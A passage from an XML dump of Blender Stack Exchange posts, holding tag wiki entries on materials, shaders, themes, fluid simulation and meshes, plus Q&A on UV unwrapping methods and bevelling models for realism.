rendering&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are two ways to create materials for BI, with the &lt;em&gt;Materials Panel&lt;/em&gt; in  the &lt;em&gt;Properties Editor&lt;/em&gt;, or with the &lt;em&gt;Material Nodes&lt;/em&gt; system.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://www.blender.org/manual/render/cycles/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Cycles uses a system of &lt;em&gt;Shaders&lt;/em&gt; to create materials, with the ability to &lt;a href=&quot;http://www.blender.org/manual/render/cycles/nodes/shaders.html#mix-and-add&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mix and Add these&lt;/a&gt; and interact with &lt;a href=&quot;http://www.blender.org/manual/render/cycles/nodes/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;other nodes&lt;/a&gt;.&lt;br&gt;&#xA;A list of the Cycles &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/shaders/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Shader Nodes&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mix&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Diffuse BSDF (Bidirectional Scattering Distribution Function)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Glossy BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transparent BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Refraction BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Glass BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Translucent BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anisotropic BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Velvet BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Toon BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Principled BSDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subsurface Scattering BSSRDF&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Emission&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Background&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ambient Occlusion&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Holdout&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Principled Volume&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Principled Hair&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cycles uses a more &lt;a href=&quot;http://www.blender.org/manual/render/cycles/materials/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;node based material system than BI&lt;/a&gt;, for example&#xA;unlike BI materials, while you can edit Cycles materials in the &lt;em&gt;Properties Editor &gt; Materials Panel&lt;/em&gt;, doing so will actually create the proper nodes for your material (Where in BI material nodes are disabled by default)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="60816" LastEditDate="2018-08-15T22:53:53.207" LastActivityDate="2018-08-15T22:53:53.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="217" PostTypeId="4" CreationDate="2013-05-23T21:49:52.850" Score="0" Body="Questions pertaining to creating materials for Blender Internal and Cycles. Materials are used to define the way an object will interact with light for rendering." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2014-10-18T06:48:35.363" LastActivityDate="2014-10-18T06:48:35.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="218" PostTypeId="5" CreationDate="2013-05-23T21:52:34.907" Score="0" Body="&lt;p&gt;For more information, see the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/preferences/themes.html#themes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The colors for each editor can be set separately—simply select the editor you wish to change in the multi-choice list at the left, and adjust colors as required. Notice that changes appear in real-time on your screen. In addition, details such as the dot size in the 3D View or the Graph Editor can also be changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Themes use Blender’s preset system to save a theme. This will save the theme to an XML file in the &lt;code&gt;./scripts/presets/interface_theme/ subdirectory&lt;/code&gt; of one of the configuration directories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T07:11:45.417" LastActivityDate="2020-10-06T07:11:45.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="219" PostTypeId="4" CreationDate="2013-05-23T21:52:34.907" Score="0" Body="Questions pertaining to the Blender GUI theme. Blender themes can be customized and exported in the User Preferences." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-09-05T19:54:48.433" LastActivityDate="2013-09-05T19:54:48.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="5" CreationDate="2013-05-23T21:53:21.863" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T21:53:21.863" LastActivityDate="2013-05-23T21:53:21.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="4" CreationDate="2013-05-23T21:53:21.863" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T21:53:21.863" LastActivityDate="2013-05-23T21:53:21.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="5" CreationDate="2013-05-23T21:54:15.667" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T21:54:15.667" LastActivityDate="2013-05-23T21:54:15.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="4" CreationDate="2013-05-23T21:54:15.667" Score="0" Body="Questions pertaining to 2D images in blender. Use this tag for image textures, baking images, and any other question relating to images." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2014-05-16T00:12:44.110" LastActivityDate="2014-05-16T00:12:44.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="224" PostTypeId="5" CreationDate="2013-05-23T21:56:05.507" Score="0" Body="&lt;p&gt;Fluid Simulation on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-16T00:46:48.157" LastActivityDate="2014-05-16T00:46:48.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="4" CreationDate="2013-05-23T21:56:05.507" Score="0" Body="Questions about the Fluid simulation systems in blender. Blender has two systems for simulating liquids, a SPH (Smoothed Particle Dynamics) system integrated with the particle system, and a Lattice Boltzmann method which can be used create a variety of simulations." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-08-18T20:16:01.957" LastActivityDate="2013-08-18T20:16:01.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="5" CreationDate="2013-05-23T21:57:04.663" Score="0" Body="&lt;p&gt;Read more about the Blender Game Engine (BGE) on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/game_engine/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2019-09-28T13:17:32.010" LastActivityDate="2019-09-28T13:17:32.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="227" PostTypeId="4" CreationDate="2013-05-23T21:57:04.663" Score="0" Body="The (BGE) Blender Game Engine (discontinued, blender 2.41 - 2.79) allows you to create interactive 3D applications, game prototypes and simulations." OwnerUserId="12" LastEditorUserId="2217" LastEditDate="2019-09-28T13:17:32.010" LastActivityDate="2019-09-28T13:17:32.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="228" PostTypeId="5" CreationDate="2013-05-23T21:59:43.297" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T21:59:43.297" LastActivityDate="2013-05-23T21:59:43.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="4" CreationDate="2013-05-23T21:59:43.297" Score="0" Body="A halo is a ring of light drawn in vertices which can be created in the Blender Internal Engine." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-23T22:54:04.853" LastActivityDate="2013-05-23T22:54:04.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="5" CreationDate="2013-05-23T22:02:06.603" Score="0" Body="&lt;p&gt;Blender can be build using either the SCons build system, or the CMake build system. In-depth description of how to create builds can be found here: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/New_Developer_Env&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Doc/New_Developer_Env&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-05-23T22:54:00.480" LastActivityDate="2013-05-23T22:54:00.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="4" CreationDate="2013-05-23T22:02:06.603" Score="0" Body="Questions involving building of Blender from source code." OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-05-23T22:48:22.043" LastActivityDate="2013-05-23T22:48:22.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="232" PostTypeId="5" CreationDate="2013-05-23T22:03:06.723" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T22:03:06.723" LastActivityDate="2013-05-23T22:03:06.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="233" PostTypeId="4" CreationDate="2013-05-23T22:03:06.723" Score="0" Body="SVG stands for Scalable Vector Graphic which is an XML-based vector image format for two-dimensional graphics. Because it is vector based (meaning it uses mathematically defined shapes instead of pixels), scaling does not blur or pixelate the image. Blender can import SVG files as curves." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2014-02-01T03:31:14.250" LastActivityDate="2014-02-01T03:31:14.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostTypeId="5" CreationDate="2013-05-23T22:06:00.517" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T22:06:00.517" LastActivityDate="2013-05-23T22:06:00.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="235" PostTypeId="4" CreationDate="2013-05-23T22:06:00.517" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T22:06:00.517" LastActivityDate="2013-05-23T22:06:00.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="5" CreationDate="2013-05-23T22:08:34.067" Score="0" Body="&lt;p&gt;User Preferences at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/preferences/index.html?#preferences&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T11:25:41.750" LastActivityDate="2020-10-20T11:25:41.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="237" PostTypeId="4" CreationDate="2013-05-23T22:08:34.067" Score="0" Body="Questions pertaining to changing Blender's default settings and user preferences." OwnerUserId="20" LastEditorUserId="12" LastEditDate="2014-05-15T22:19:10.730" LastActivityDate="2014-05-15T22:19:10.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="1" AcceptedAnswerId="241" CreationDate="2013-05-23T22:48:34.090" Score="11" ViewCount="5007" Body="&lt;p&gt;When should you use the conformal method verses the defualt angle based method when UV unwrapping? What difference do they make?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MS9an.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-05-23T23:43:42.700" LastActivityDate="2021-01-19T10:36:45.947" Title="When to use Conformal vs Angle Based when UV unwrapping?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostTypeId="5" CreationDate="2013-05-23T22:52:40.557" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T22:52:40.557" LastActivityDate="2013-05-23T22:52:40.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="4" CreationDate="2013-05-23T22:52:40.557" Score="0" Body="UV Unwrapping is the process of unfolding a 3D object open to define coordinates so that a 2D image can be mapped onto it's surface." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-10-13T01:43:55.927" LastActivityDate="2013-10-13T01:43:55.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostTypeId="2" ParentId="238" CreationDate="2013-05-23T23:40:18.750" Score="6" Body="&lt;p&gt;Angle Based unwrapping gives a good 2d representation of a mesh while Conformal &lt;em&gt;usually gives a less accurate&lt;/em&gt; UV mapping than Angle Based, but works better for simpler objects. (&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/uv.html?#options&quot; rel=&quot;nofollow noreferrer&quot;&gt;src&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;From experience I use a mixture of both depending on how complicated the mesh is, Angle Based tends to give better results in general.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2021-01-19T10:36:45.947" LastActivityDate="2021-01-19T10:36:45.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="242" PostTypeId="2" ParentId="211" CreationDate="2013-05-24T00:03:46.350" Score="6" Body="&lt;p&gt;I'm almost completely sure there are no builds with just the video editor, but if you wanted to use it primarily as a video editor, you could set the video editor as the default view when blender is loaded up.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-24T00:03:46.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="2" ParentId="211" CreationDate="2013-05-24T00:14:55.190" Score="8" Body="&lt;p&gt;In Short, No.&#xA;You can make blender builds without many features (collada, game-engine, freestyle, smoke etc). But you can't make a video only version of Blender.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-24T00:14:55.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostTypeId="2" ParentId="120" CreationDate="2013-05-24T00:28:28.890" Score="24" Body="&lt;p&gt;One way is to just add an &lt;em&gt;Array&lt;/em&gt; modifier to your tread or flat object, bump up the counts a bit and add a new &lt;em&gt;Bezier Circle&lt;/em&gt; to the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Byzi6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a &lt;em&gt;Curve&lt;/em&gt; modifier, select the correct axis &lt;em&gt;(it sometimes wacks out here, you can just apply transformations before you do this)&lt;/em&gt; and tweak accordingly until it aligns properly and is arched around a portion of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtKK9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bump up the array count some more and voila, a tire or whatever object wrapped around a circle. (When doing this, you might have to select the curve and scale it accordingly so that the ends of the object meet. You can also tick &lt;em&gt;'Merge'&lt;/em&gt; in the array modifier or use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; to apply the modifiers and convert everything into one object, after this, if a gap still exists, it can be easily filled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yF0Vu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-25T00:22:00.930" LastActivityDate="2013-09-25T00:22:00.930" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="5" CreationDate="2013-05-24T00:32:46.510" Score="0" Body="&lt;p&gt;In Blender, &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/index.html&quot; rel=&quot;nofollow&quot;&gt;meshes&lt;/a&gt;&lt;/strong&gt; are collections of vertices, edges, and faces that are attached to an object. Mesh objects are one of the most widely used objects in Blender for many reasons, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ease of use.&lt;/strong&gt; Mesh objects are easy to create and manipulate. Except for very high-resolution meshes, they don't take up a lot of memory or computational power, so they are quick to work with and make for small files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Modifiers.&lt;/strong&gt; &lt;a href=&quot;http://www.blender.org/manual/modifiers/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Modifiers&lt;/a&gt;  can be applied to mesh objects, allowing for streamlined creation and manipulation of the meshes. For more information, see the &lt;a href=&quot;/questions/tagged/modifiers&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;modifiers&amp;#39;&quot; rel=&quot;tag&quot;&gt;modifiers&lt;/a&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Physics simulations.&lt;/strong&gt; &lt;a href=&quot;http://www.blender.org/manual/physics/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Physics simulations&lt;/a&gt; often require a mesh object to work properly. This opens a whole new realm of realism and accuracy in physics-based simulations. For more information, see the &lt;a href=&quot;/questions/tagged/physics&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;physics&amp;#39;&quot; rel=&quot;tag&quot;&gt;physics&lt;/a&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Portability.&lt;/strong&gt; Meshes can be exported to all the major formats, including &lt;code&gt;.stl&lt;/code&gt;, &lt;code&gt;.obj&lt;/code&gt; and more.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Meshes can be edited in &lt;strong&gt;Edit Mode&lt;/strong&gt;, which can be accessed by pressing &lt;kbd&gt;Tab&lt;/kbd&gt; with a mesh object selected. For information on editing meshes, see the &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/introduction.html&quot; rel=&quot;nofollow&quot;&gt;manual page on mesh editing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Behind the scenes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A mesh, at its most basic form, contains three lists: a list of indexed vertices, a list of edges, and a list of polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of vertices gives each vertex a number, starting at 0 and increasing by 1 for each vertex, and stores its position. For example, a vertex list might look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;v&lt;sub&gt;0&lt;/sub&gt; = (0, 0, 0)&lt;/li&gt;&#xA;  &lt;li&gt;v&lt;sub&gt;1&lt;/sub&gt; = (1, 0, 0)&lt;/li&gt;&#xA;  &lt;li&gt;v&lt;sub&gt;2&lt;/sub&gt; = (1, 1, 0)&lt;/li&gt;&#xA;  &lt;li&gt;v&lt;sub&gt;3&lt;/sub&gt; = (0, 1, 0)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These vertices represent the corners of a unit square on the XY-plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of edges does not store the positions of the two endpoints of each edge. Instead, it stores the &lt;em&gt;indices&lt;/em&gt; of the two vertices that are the endpoints. This has the potential to save a significant amount of memory. For example, consider a vertex that has six edges attached to it. Instead of saving the coordinates six times over, the coordinates are saved once (in the vertex), and the edges only need the vertex number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An edge list might look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;e&lt;sub&gt;0&lt;/sub&gt; = (v&lt;sub&gt;0&lt;/sub&gt;, v&lt;sub&gt;1&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;li&gt;e&lt;sub&gt;1&lt;/sub&gt; = (v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;li&gt;e&lt;sub&gt;2&lt;/sub&gt; = (v&lt;sub&gt;2&lt;/sub&gt;, v&lt;sub&gt;3&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;li&gt;e&lt;sub&gt;3&lt;/sub&gt; = (v&lt;sub&gt;3&lt;/sub&gt;, v&lt;sub&gt;0&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These edges connect the corners of the vertices in the right order to form a square. Note that no diagonal vertices, such as (v&lt;sub&gt;0&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;), are connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the polygon list is formed similarly to the edge list: each face is represented as a list of three or more vertices. Note that the order is important; a square and an hourglass have the same vertices, but they are connected in a different order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example face list to complete our square:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;f&lt;sub&gt;0&lt;/sub&gt; = (v&lt;sub&gt;0&lt;/sub&gt;, v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, v&lt;sub&gt;3&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A face list for an hourglass would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;f&lt;sub&gt;0&lt;/sub&gt; = (v&lt;sub&gt;0&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;3&lt;/sub&gt;)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="372" LastEditorUserId="599" LastEditDate="2015-06-03T08:11:18.527" LastActivityDate="2015-06-03T08:11:18.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="246" PostTypeId="4" CreationDate="2013-05-24T00:32:46.510" Score="0" Body="A mesh is a collection of vertices, edges, (composed of a connection between two vertices), and faces (composed of 3 or more connected edges). Meshes are the most commonly used object type in Blender." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-08-25T02:47:49.040" LastActivityDate="2013-08-25T02:47:49.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="1" AcceptedAnswerId="248" CreationDate="2013-05-24T00:40:43.477" Score="60" ViewCount="27782" Body="&lt;p&gt;I'm making a scene in Blender with manufactured mechanical and electrical objects - cylinders, metal objects and so forth. I want to make these look real, be fully present with a sense of mass and substance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;3DCG has a tendency to make everything very sharply geometric, often looking mathematical and artificial. In other scenes, some organic curves, normal maps or particle systems would help make object look real. Like for example, making a simple plastic dog model look more believable, one can add more vertices for better definition, add texture layer, add fur etc.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene shows clean resistors, wires, metal strips and such, all sharply geometric. It's tricky to find ways to make the result less mathematical and more substantial, realistic and interesting to the eye.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some effective ways to add realism to these objects?&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="12" LastEditDate="2013-05-27T21:46:36.293" LastActivityDate="2020-10-12T19:30:03.910" Title="How can I make sharp geometric 3d models look more realistic?" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="29" ContentLicense="CC BY-SA 3.0" />
  <row Id="248" PostTypeId="2" ParentId="247" CreationDate="2013-05-24T00:49:17.627" Score="66" Body="&lt;p&gt;For one, you can &lt;a href=&quot;http://3d.about.com/od/Creating-3D-The-CG-Pipeline/tp/8-Tips-To-Increase-Realism-In-Your-Renders.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&lt;strong&gt;bevel&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt; your objects.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Forgetting to bevel or chamfer edges is one of the most common errors&#xA;committed by beginning 3D artists. &lt;strong&gt;There are almost no razor sharp&#xA;edges in nature&lt;/strong&gt;, and even most man-made objects have a slight&#xA;roundness where two opposing surfaces meet. Beveling helps bring out&#xA;detail, and really sells the realism of your model by allowing edges&#xA;to properly catch highlights from your lighting solution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/modes.html#object-modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;object mode&lt;/a&gt; you can bevel an object by using the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/bevel.html#bevel-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Bevel&lt;/em&gt; modifier&lt;/a&gt; and in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/edge/bevel.html#bevel-edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;edit mode&lt;/a&gt; you can bevel &lt;em&gt;edges&lt;/em&gt; and &lt;em&gt;faces&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; and &lt;em&gt;vertices&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt;. The latter will allow you to interactively adjust the amount of &lt;em&gt;segments&lt;/em&gt; with the mouse wheel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Using the modifier.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a sharp object you just made, say a simple step. It's plain, simple and ugly when you look at it and would look out of place in almost any scene aiming for realism.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P2WbB.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once beveled, the edges are softened and it just looks more appealing as this is what we are used to in real life. This can be a very subtle effect or an exaggerated one as essentially it just helps to catch light and help show off the shape and detail of the object better.&lt;/p&gt;&#xA;&lt;p&gt;(&lt;em&gt;It can be a bit hard to see in the viewport at times with the default lights but makes all the difference when rendering with proper lamps&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/bevel.html#bevel-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;bevel modifier&lt;/a&gt; with some optimal settings, increasing the value in the &lt;em&gt;Segments&lt;/em&gt; slider will make the edge geometry start to approach what is more commonly called a &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Fillet_%28mechanics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fillet&lt;/a&gt;&lt;/em&gt;, effectively rounding your edges. &lt;strong&gt;Do be warned however, as adding extra segments creates additional geometry.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JK9jl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is another look at how beveling effectively softens your edges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibO8e.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Some advantages of beveling over &lt;em&gt;other&lt;/em&gt; methods are:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's &lt;em&gt;cheaper&lt;/em&gt; than subsurface, meaning it renders faster and weighs down your scene less.&lt;/li&gt;&#xA;&lt;li&gt;For hardsurface models, it softens or adds realism to your edges easily and 